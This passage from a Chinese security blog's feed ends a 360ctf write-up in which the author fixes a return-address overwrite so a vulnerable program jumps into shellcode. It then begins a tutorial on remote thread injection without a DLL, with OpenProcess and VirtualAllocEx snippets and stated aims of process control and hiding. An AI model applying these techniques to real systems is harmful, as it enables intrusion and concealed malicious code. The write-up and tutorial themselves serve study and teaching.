j7SZxyUf54JxWU+jh/dqUK7sg/Dav4KayKa4rQrEwyoqpY+0mcclH+eCcVlPrQrO7Da8lvNX2FNaFdGQekAQ1W19JE+46D880woLvOhXdmB1Zbfav4Ka0K7MgpKBxiqqqWP9BkH5Z9nQnGZD+3KDqy2/FbzV1gT2pVRUDrAUFUtfaTPOCj/PBOKy3ycS5bNurQr+1Ss5q+wJqIpLrkr876DAn83BdOZYU4MKY0x/TorxbR7eDuPvm9K+kifcTwqR54JxWU+Lv+QvP1+hc7K5pQlzJBQ5/MjUjTPHmBnwp52fYA9IX8F4b2IprjvNyW2KyvfOny/n15OngT0bzRmd9LB2V/m3sMH8JhV9Qf4JX2kzxN4VI48E4rLfJQ/3rP9XKGfYJxTlpDzdixLqpNG20P2kPrkbNPrJqyAaIr7flOSu7LLS2u2f/1+lSSJe9OY0FiT6vD3kAy3e/gAHlxVv9cv6SN9nsCjcuSZUFzmw/xPF1tRr/C7stFlCTNvx7IET5po5+95fXKG8f4KwnsRTXHfL8vAXVk5ChCS9x74/uajD6j2evGoqpY+0mccj8qRZ0JxmY9ev+1jWlnCzJsrY/jlF9r8ANuqY0l9cobpdRNWwIzf9sFkHD79XdoxoZlYdyvhJtKfWVGBew8fwKOfQJM+0mccj8qRZ0JxmY/uuzLy3msx20H5YfJ7/RNlidcT8AM7yfIpqk+ic8hfQXgv5u3KztkHt5+fmlRei3fvge9vPtp+rt2qqMp2Dx/AA6rqV/slfaTPE3hUjjwTist89N2VTShLmHlzZQy//BL7n7Nh/Fi+MdfeaxUJwmPxpl1Z9YVn0hnT35y6pPqAaq8Xj6pq6SN9xvGoHHkmFJf5eNquLLQP8fg7liVg0lx7qMQi9Um0h/wVhPfiNT/BWH2Ho/2jxpRUZUWF7z18AI9+Ak36SJ9xPF45sv1car+lXWXifHzXIuQ1+icYmTKDmbdjWVKdNNrO28Prk5au1yoShMcimuK+b274vrLSGoa5ozEm1Xa6mHYPb+fR901JH+kzjqeaf9R+S7vKxPn4FbzMwO0/4ZtQljD8oc7nR6RoXjnUt0zi9UmbNHmxCcJ8RFPc9yuDdmW6dOnSpUuXLl0PucrtgS5dunR9zKVdmS5dunTp0qXrBdfdJZMuXbp0DbzOu7L/B1waUckN6E6hAAAAAElFTkSuQmCC" alt> 此程序返回时，返回地址被覆盖为83EC8B55，此数值在shellcode中，目测是eip没有覆盖准？然后跳转出错。所以先试试准确跳到shellcode中。</p><h2 id="准确进入shellcode"><a href="#准确进入shellcode" class="headerlink" title="准确进入shellcode"></a>准确进入shellcode</h2><p>先找到shellcode的入口点，通过IDA慢慢找，发现程序入口点在CDD处，之后有些定位API和准备需要的127.0.0.1 /shell.dat字符串等操作 直接将返回地址改为shellcode的入口处0012EB69，然后抬高栈顶，然后运行试一试。。 <img src="data:image/png;base64,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" alt> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAI4AAAB2CAIAAACRXjwrAAAFT0lEQVR4nO2dfUxVZRzHz9+9LFu1ctmqqaVD50toacmOTkvLLDU1TTOztCAgVEBC4YYKSoioKAQKikqalqZOU8vUdJLVorqt91aZzt5cra1/b3+cdjicl+c+995zuHwfvp/9dvfcw/P+ub/zHGAMLdzawoAILdzaEiEI/K8q6R8ZRtRoU3VFr/Qre2dcdccLV/fJvKZvVreU7Gv7vXhd/5zrByy8YeCiGwfn3nRXXvfU/JuHLu5xd8EtwwpvHb7ktnuX3j6iqGdacS891Hvky3eOKukzennfMStSHijtN7as/7iVAx5aNXB8+aAJFYMfWZ06sXLIpDVDJ1fdM2XtsKnrhj9efd/0DSNmbEybWaPPqh05+9VRT9WNnlM/Zu7m+59pGDuvcdz8LQ8+t3V8etPDGdsmZO54NKt5YvZrk3J2PrZg15RFr0/N3T0tb8/0xW/OKNj7ROG+WUveerJo/+ziA3NCB58uOTR32eFnV7w9r/TI/LKjz686ll7+TkbF8czV72VVnsiuOpmz9tSC9e8vrD6du+FMXs3Z/NqWgroPXqo/V7jpw6UNHxU1fly89ZNQU2vJ9k+X7fhsefPnpTvDZbu+WLn7y/I9X73yxtcVe7+p3Pftmv3fVR34ft3BH9Yf+rH68E8bj/xcc/R87bFf6t69UH/84qYTlxpO/tp46rctp39vOvPHtrN/bm+53Hzur7iDqqiKqrxVxXQ+6bpOVclUJXk4hUIhqlJClZl65y9eNstUFZAqTdM0TWv3mGe5Ej2rIpHI3//82y0l2/DErAo0q6xubOakVJnwBtgBN0DNQmxnlenJdlaZ1w1V5tsLl9qeaqgqvrPK6SmGG6Atq4y33VPzjYKRVUa5Z1qxUWBWJSGrvFSZWFUZ8AaYnLPK+VhhZpXtrKKqpD0BmlvvfFh3ZpWpio8VAN8CUxWAKjPD+LAeq6qQNPzBUjJV6TFCVfwlCFV1gCpGJ482VRHSiaEqGKgKBqqCgapgoCoYqAoGqoKBqmCgKhioCgaqgoGqYKAqGKgKBqqCgapgoCoYqAoGqoKBqmCgKhioCoaYVZl/sWW76FrHuK61x1nBtY7rWIJWXvORGUs8ukwdma1LkNhUWafoet217NrKedFWEPQjbi6YnnxBZhWCEYMgTlXO614WvZpH3aMEVcU0lnh0r1V0dlXOlJdcpMwn3fVmEjUpxfORHMt5Z5NZhbiyv8SfVTLZ4NXWtb5zi13feu1p1IyRqROHqo7xFPFLlXX7ElQlaCLZXF6nzPTiqxYEvmVVxPuj6iwLmrv2I98q8YJ45oIVBU2iD+uuZVsd86vOTlxTwdaJazVxP659yowlWKl4FVrw2vgtMAxUBQNVwUBVMFAVDFQFA1XBQFUwUBUMVAUDVcFAVTBQFQxUBQNVwUBVMFAVDFQFA1XBQFUwUBUMVAUDVcFAVTBQFQztVDE6eVAVTFAVTFAVTFAVTFAVTFAVTFAVTFAVTFAVTOCpcv6Rr2IopSo5P4YLHl3XFVSV9Gn4HsY/bKYqgFBflbE2v17FfQYxotmz4qoEC5PsynaYRz3eExxR0KfiqnzcqbBb6oQlHjj9mobiqnzZKWcnrs4k28Y9AcVV+bVNZjmgjJEJxVUlvptWK7Zz3nwb9A2QWSXrSWDFa1uDCMVV+ZJVrq9hjxMrCFXMqnhUeWWVVVVAh5niqjrgrHKqCmJF6qvya5vEqly/6nsorsrHjbN1ZUs160Xf74FdJau80gLrtUuoUiaUVRVSEQVV6eqimiq1UUdVlw2qggmqggmqggmqggmqggmqggmqggmqgon/ABCL9Z1FjySHAAAAAElFTkSuQmCC" alt> 直接就出KEY了。。。</p><h2 id="修复Exploit-html"><a href="#修复Exploit-html" class="headerlink" title="修复Exploit.html"></a>修复Exploit.html</h2><p>目测是Exploit.html的返回地址覆盖不准确，稍微修改下即可。 修改是沿着调试的方法直接把eip位置改到一个空白的地方，然后将原来的代码修复，抬高栈顶，然后跳入shellcode入口 <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAi8AAAA0CAIAAADNOE9iAAAIz0lEQVR4nO2dQZLcuA5EdV3fQkfxog8z+9n5Do7wfhaaRdkKFgEkkxQkSuVUvPjBBqEkSFYxrequ+cu/P37+++Pn9+/fv337tizLsizbf78sa3Ex8b3LzSy7ongkPqDz6nXnxRMtDo6Xl433js7UEI3bq4Pzx/Td19VbZFt2fou0fqwn+0o4tteHXyprSRUvGzbfJvP6A8m2i9F0RfiEckR3TWwb1wnqr/QjHbAFIGgnjtcZ7Au5/kxJON47Ln4d2nO1fO9X58Db+9TNJ93o6Rx3I3EGvBtF+Gmz53UfBtzlhkOIe5J7rsqNxEzkRmcjNxLnITeav2oiC+tGb4/zLSuSGzW5zI3kSX8hcqP5qyayAM9Gh5g9LyH+Bk53o4+81nX9+ueXuBvaFyGeS+77V24kZqJ9EeK5yI1GLp1690T7IsRzmeNGb5/uEfGl9fUaNwi6+Pzz3KgUdINVl3sLzufHHdNvSg2P27zFVfhsN3r9Yv+2+lnllX/FwIzi5tvvwXTdwpSE6+RZ12WnGS+DoKtXp6kPxk1kghuVpzzTXrxvPJE3DufjruOr9tKx7SgnuiW6d2DcXv2mVFMcdzFLVInIjSbq57oR6LKWgNtAf2+De7HswVnbE59vZ+n06p/HTDeqPMaNMw8uZ7uRzbnAjWxwj+xlRPeOjdurD/LLyNi4IA6KsfuymMvt4vfletx/4zdPTP5IBc8QZDE23usQdoiucbvGqhyIdyN3ieRGidzdjexdQBCk9cZtPWVXrhuRCXtkL4PRAbLVvb36bj4zQWbcpr6rGbnRq2E18Zr0ru0ZNE/b6jBl8o+4BemINki6XbMMxmbItPu40eug73WaKIfRlxv9vgY+qXMjbrz3l0BR/jLVjdzeMri3q+l0jVvd0qsPpMAEeR2s78rKjXA+cIuq3VtPdDtvQlin2esW0/SPLjdyRz/oRl/x73u+3r3EJts4r491+Hgu09zIHvRRvOx1pZppB+O3cqMlfmTBmlanynf1gSauh68w0mnOl3k1lwrRvJj2LHLdiNfvrSe6feCwHnCjLpMoLco17MjYegdiqB5cTno2svopmuk82I1If7Jx/pO96Mnp1N8bVT9W8eWwG0XJrj7QxPUwEazTnC/zai4Vonkx7VnIjZq9veP2uss1bjTQztKRGzWMoek9Wc864PdGQHOiG0U50V3N0bE+kO2qZ0AH65Ov5nIi0bzcUrvW8zyY059xoE91I2ZeiVOgvZB9/dzWja63oq/nft8oenABDzRdv08CQy8ZbvQVn3rgdWxviUSYcXv1o1JdtSo4psPPLtoXt4ze4uey/9uccaMq3ybz+gPJtusaN4rGjUoFSwS8jbdb8kX74nW+21PejZdB0NWrMyaSzhw3evqVu2oiC+3L2Qy4yw2HuKDa10ExvbxnITcauXTq3RPty9nIjZhqX6fE9Noeh9xo5NKpd0+0L2dzmRvd35OeUueDkBuNXDr17on2RYjncrobuX8q/XRW/b/t3RLtixDPJff9KzcSM9G+CPFc5EbzV01koX0R4rnMcaO1uJj43tVMXs01lg90slat/EVU1Osmg66DQwMpEOR1suIRx/flg/8JNcbrKyZu0Hb1xoUomeBG9tDH7a3whi6R3kGj/DNWrVwccAq7+bxO19BACljF9W2A3CgXYC3H20JUzHQj93GkikcPKJ/qRsv75eYzOszQ1ShuPKqnVycxDnD3xZ0CbvMjXgBef3dex+uvvqtvuzbjVb1xISru7kb2LiAI0rLiWatWnhfuQlXBaDEHDp2x0x9ESJ2sOMDuC7NuTHsWvbWl1y83Epcx043IdhRx4+v7Rd4e5bu+mLVqS3FFvW6yjQ+My7eZyJVtgNwovX59UicuY5oblY9BOF72ulLNtMR41qrti2MNpkpwf2zGm0OXo+N4NFCvTlYc4O7LUlzudJj2LBZzjc1rGPAnCZvnNHxciIoHuxHpTzYetRmdrFVrnhrglOnSiW7pPf2jCK+TFQfgfYnWimnPgqnh1PrlRuIyprkR33YjR5515EYDBzGOXNkGyI2YTeyalD6pE5cxwY2299/KMPEtcCObH8UjcexGoM6ExSquqNdNBl0HhwZSIMjrZMUj7L5EixZ1gfxZuPVEdeL6B+al7xuJy5jjRk8nd9VEFtqX5pvug9+V4unIjeavmshC+4LfdB/8lhQfgNxo/qqJLLQvH/ymEx+P3Gj+qokstC9CPBe50fxVE1nU+7ItOcyelxB/A3Kj+asmspAbCfFc5EZpq/apk30QwI1+vxrlRkLclad+3yhKjr4nBJSxFLlqy5//ZAC7UuZyu3rVwCh43FnxXD7VjdZl2WHie1czuQyWXW7Q3kUWIwTDBDeyJoHbW+EWXSLuoJGr8VJ21ZZ3L6FWKlgce4IPq7lSzLhXxnMBbvTcT+qsSeD25rkFeWMzn4nIkMQYM93IfXyp4u6DznbAjWwOWU/uqiW6UVNq+XOR414Zz8V1o/KqHpVslxs8u+zGpP4c7qv3+FLF1+CZJtGN3FvkRuI4d3cjexcQBGmf6kb16elJlb1ZLpIVz8V1I/eTuv3H/X+rxlv75LIbk+pxI3sXEARp2L3siHIjcZyZbkS2o4gbX9+v5qBMDee5kXWR8kfmBAf5bhce9/p4Lp/tRmQ7irjxFbpLFO8tRgiGaW5kD/ooXva6Us00dyBcT9Maj65UfCh3HdxlTmQAm3Ejvp6z47l8sButxWMQjpe9rlQzzR0It7fYwIQgebAbkf5k47wbVVfiqjVPZ/L4lhtVu/wWkRvBSBR0B8LtpqAQTaa5Ed92I4zruHGsTDrc2W7En91NN6racqOHuhHfdiOM66QPKkQXE9xoe3/yYOJb4EY2n4nz9bhDp6zaYi7bNSDV7MJu0Zt/PJ7LgBtZc3pbhBv8Td32/iEYE98CN7L5ZLyrmOnLJR7KHDd6OrmrJrLg3SjCT5s9LyH+BuRG81dNZCE3EuK5yI3mr5rIwrqR87Gb3EiIW5J7rv4PyzTEg7yoYhMAAAAASUVORK5CYII=" alt> <a href="http://yfcnblog-wordpress.stor.sinaapp.com/uploads/2014/07/Exploit_fixed.html" target="_blank" rel="noopener">Exploit_fixed</a> 当时比赛的时候和大神最后3小时都在做这道题，其他都没做……结果还没做出来，真是坑爹啊。。。 看小伙伴们在群里交流，自己又拿出来看了看。。。结果- -更坑爹 题目:<a href="http://yfcnblog-wordpress.stor.sinaapp.com/uploads/2014/07/exploit.zip" target="_blank" rel="noopener">exploit</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;题目说明&quot;&gt;&lt;a href=&quot;#题目说明&quot; class=&quot;headerlink&quot; title=&quot;题目说明&quot;&gt;&lt;/a&gt;题目说明&lt;/h2&gt;&lt;p&gt;本道题目中的MFC_ASM.exe是一个有漏洞的可执行程序：它会去读取服务器上的一段包含shellcode的文件Exploi
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="360ctf" scheme="https://blog.eadom.net/tags/360ctf/"/>
    
  </entry>
  
  <entry>
    <title>不注入DLL实现远程线程注入</title>
    <link href="https://blog.eadom.net/uncategorized/remote-thread-injection-without-dll/"/>
    <id>https://blog.eadom.net/uncategorized/remote-thread-injection-without-dll/</id>
    <published>2014-06-25T15:40:34.000Z</published>
    <updated>2025-11-21T12:45:50.797Z</updated>
    
    <content type="html"><![CDATA[<p>通过CreateRemoteThread&amp;WriteProcessMemory实现远程线程注入，没有通过加载DLL注入，有更好的隐蔽性。 参考：<a href="http://www.vckbase.com/index.php/wv/1653/" target="_blank" rel="noopener">http://www.vckbase.com/index.php/wv/1653/</a></p><h1 id="0x01前言"><a href="#0x01前言" class="headerlink" title="0x01前言"></a><strong>0x01前言</strong></h1><p>远程线程技术指的是通过在其他进程中创建新线程的方法进入该进程的内存地址空间，从而获得对该进程的控制权的方法。 在进程中可以通过CreateThread函数创建线程，被创建的新线程与主线程共享地址空间以及其他的资源。同样，通过CreateRemoteThread函数可以在其他进程内创建新线程，新创建的的远程线程可以共享远程进程的地址空间。 所以通过在远程进程中创建新的方法，就可以进入到远程进程的内存地址空间，也就拥有了和那个远程进程相当的权限，可以在远程进程中执行代码，从而达到远程进程控制、进程隐藏的目的。</p><h1 id="0x02基本原理"><a href="#0x02基本原理" class="headerlink" title="0x02基本原理"></a>0x02基本原理</h1><p><strong>思路:</strong> <strong>将程序自身映像写入远程线程然后进行重定位</strong> <strong>然后创建远程线程调用其中的入口函数</strong> <strong>之后线程运行后先写好AIT</strong> <strong>其实就是手动完成PE loader进行模块导入时重定向和写AIT。</strong> <strong>可以先看实现代码再回头看，实现代码注释比较详细。。</strong></p><h3 id="1-OpenProcess获得远程进程句柄"><a href="#1-OpenProcess获得远程进程句柄" class="headerlink" title="1.OpenProcess获得远程进程句柄"></a>1.OpenProcess获得远程进程句柄</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);</span><br></pre></td></tr></table></figure><h3 id="2-VirtualAllocEx在远程进程申请空间，申请大小为程序自身映像大小。"><a href="#2-VirtualAllocEx在远程进程申请空间，申请大小为程序自身映像大小。" class="headerlink" title="2.VirtualAllocEx在远程进程申请空间，申请大小为程序自身映像大小。"></a>2.VirtualAllocEx在远程进程申请空间，申请大小为程序自身映像大小。</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, <span class="number">0</span>, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);</span><br></pre></td></tr></table></figure><h3 id="3-将程序自身的映像的的重定位并且写入远程线程"><a href="#3-将程序自身的映像的的重定位并且写入远程线程" class="headerlink" 